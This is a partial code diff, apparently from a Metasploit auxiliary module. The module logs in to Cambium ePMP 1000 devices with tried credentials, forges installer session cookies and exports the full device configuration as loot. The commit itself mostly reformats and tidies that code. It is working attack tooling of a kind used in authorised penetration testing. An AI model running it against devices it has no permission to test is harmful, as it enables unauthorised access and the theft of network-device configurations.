@@ -93,8 +93,14 @@ def is_app_epmp1000?
93
93
return false
94
94
end
95
95
96
- if ( res && res . code == 200 && res . headers [ 'Server' ] && ( res . headers [ 'Server' ] . include? ( 'Cambium HTTP Server' ) || res . body . include? ( 'cambiumnetworks.com' ) ) )
96
+ good_response = (
97
+ res &&
98
+ res . code == 200 &&
99
+ res . headers [ 'Server' ] &&
100
+ ( res . headers [ 'Server' ] . include? ( 'Cambium HTTP Server' ) || res . body . include? ( 'cambiumnetworks.com' ) )
101
+ )
97
102
103
+ if good_response
98
104
get_epmp_ver = res . body . match ( /"sw_version">([^<]*)/ )
99
105
epmp_ver = get_epmp_ver [ 1 ]
100
106
print_good ( "#{ rhost } :#{ rport } - Running Cambium ePMP 1000 version #{ epmp_ver } ..." )
@@ -114,9 +120,12 @@ def do_login(user, pass)
114
120
begin
115
121
res = send_request_cgi (
116
122
{
117
- 'uri' => '/cgi-bin/luci' ,
118
- 'method' => 'POST' ,
119
- 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' , 'Accept' => 'application/json, text/javascript, */*; q=0.01' } ,
123
+ 'uri' => '/cgi-bin/luci' ,
124
+ 'method' => 'POST' ,
125
+ 'headers' => {
126
+ 'X-Requested-With' => 'XMLHttpRequest' ,
127
+ 'Accept' => 'application/json, text/javascript, */*; q=0.01'
128
+ } ,
120
129
'vars_post' =>
121
130
{
122
131
'username' => 'dashboard' ,
@@ -125,28 +134,45 @@ def do_login(user, pass)
125
134
}
126
135
)
127
136
128
- if ( res && res . code == 200 && res . headers . include? ( 'Set-Cookie' ) && res . headers [ 'Set-Cookie' ] . include? ( 'sysauth' ) )
137
+ good_response = (
138
+ res &&
139
+ res . code == 200 &&
140
+ res . headers . include? ( 'Set-Cookie' ) &&
141
+ res . headers [ 'Set-Cookie' ] . include? ( 'sysauth' )
142
+ )
143
+
144
+ if good_response
129
145
sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
130
146
131
147
cookie1 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
132
148
133
149
res = send_request_cgi (
134
150
{
135
- 'uri' => '/cgi-bin/luci' ,
136
- 'method' => 'POST' ,
137
- 'cookie' => cookie1 ,
138
- 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' , 'Accept' => 'application/json, text/javascript, */*; q=0.01' , 'Connection' => 'close' } ,
151
+ 'uri' => '/cgi-bin/luci' ,
152
+ 'method' => 'POST' ,
153
+ 'cookie' => cookie1 ,
154
+ 'headers' => {
155
+ 'X-Requested-With' => 'XMLHttpRequest' ,
156
+ 'Accept' => 'application/json, text/javascript, */*; q=0.01' ,
157
+ 'Connection' => 'close'
158
+ } ,
139
159
'vars_post' =>
140
160
{
141
161
'username' => user ,
142
162
'password' => pass
143
163
}
144
164
}
145
165
)
146
-
147
166
end
148
167
149
- if ( res && res . code == 200 && res . headers . include? ( 'Set-Cookie' ) && res . headers [ 'Set-Cookie' ] . include? ( 'stok=' ) )
168
+ good_response = (
169
+ res &&
170
+ res . code == 200 &&
171
+ res . headers . include? ( 'Set-Cookie' ) &&
172
+ res . headers [ 'Set-Cookie' ] . include? ( 'stok=' )
173
+ )
174
+
175
+ if good_response
150
176
print_good ( "SUCCESSFUL LOGIN - #{ rhost } :#{ rport } - #{ user . inspect } :#{ pass . inspect } " )
151
177
152
178
report_cred (
@@ -158,23 +184,42 @@ def do_login(user, pass)
158
184
)
159
185
160
186
get_stok = res . headers [ 'Set-Cookie' ] . match ( /stok=(.*)/ )
161
- stok_value = get_stok [ 1 ]
162
- sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
187
+ if !get_stok . nil?
188
+ stok_value = get_stok [ 1 ]
189
+ sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
163
190
164
- cookie2 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
191
+ cookie2 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
165
192
166
- config_uri = '/cgi-bin/luci/;stok=' + "#{ stok_value } " + '/admin/config_export?opts=json'
193
+ config_uri = '/cgi-bin/luci/;stok=' + "#{ stok_value } " + '/admin/config_export?opts=json'
167
194
168
- res = send_request_cgi ( { 'method' => 'GET' , 'uri' => config_uri , 'cookie' => cookie2 , 'headers' => { 'Accept' => '*/*' , 'Accept-Language' => 'en-US,en;q=0.5' , 'Accept-Encoding' => 'gzip, deflate' , 'X-Requested-With' => 'XMLHttpRequest' , 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8' , 'Connection' => 'close' } } , 25 )
195
+ res = send_request_cgi (
196
+ {
197
+ 'method' => 'GET' ,
198
+ 'uri' => config_uri ,
199
+ 'cookie' => cookie2 ,
200
+ 'headers' => {
201
+ 'Accept' => '*/*' ,
202
+ 'Accept-Language' => 'en-US,en;q=0.5' ,
203
+ 'Accept-Encoding' => 'gzip, deflate' ,
204
+ 'X-Requested-With' => 'XMLHttpRequest' ,
205
+ 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8' ,
206
+ 'Connection' => 'close'
207
+ }
208
+ } , 25
209
+ )
169
210
170
- if res && res . code == 200 && res . body =~ /device_props/
171
- print_good ( '++++++++++++++++++++++++++++++++++++++' )
172
- print_good ( "#{ rhost } :#{ rport } - dumping configuration" )
173
- print_good ( '++++++++++++++++++++++++++++++++++++++' )
174
- print_good ( "#{ rhost } :#{ rport } - File retrieved successfully!" )
211
+ if res && res . code == 200 && res . body =~ /device_props/
212
+ vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
213
+ vprint_status ( "#{ rhost } :#{ rport } - dumping configuration" )
214
+ vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
215
+ print_good ( "#{ rhost } :#{ rport } - File retrieved successfully!" )
175
216
176
- path = store_loot ( 'ePMP_config' , 'text/plain' , rhost , res . body , 'Cambium ePMP 1000 device config' )
177
- print_status ( "#{ rhost } :#{ rport } - File saved in: #{ path } " )
217
+ path = store_loot ( 'ePMP_config' , 'text/plain' , rhost , res . body , 'Cambium ePMP 1000 device config' )
218
+ print_status ( "#{ rhost } :#{ rport } - File saved in: #{ path } " )
219
+ else
220
+ print_error ( "#{ rhost } :#{ rport } - Failed to retrieve configuration" )
221
+ return
222
+ end
178
223
179
224
# Extract ePMP version
180
225
res = send_request_cgi (
@@ -193,9 +238,6 @@ def do_login(user, pass)
193
238
user : user ,
194
239
password : pass
195
240
)
196
- else
197
- print_error ( "#{ rhost } :#{ rport } - Failed to retrieve configuration" )
198
- return
199
241
end
200
242
else
201
243
print_error ( "FAILED LOGIN - #{ rhost } :#{ rport } - #{ user . inspect } :#{ pass . inspect } " )
0 commit comments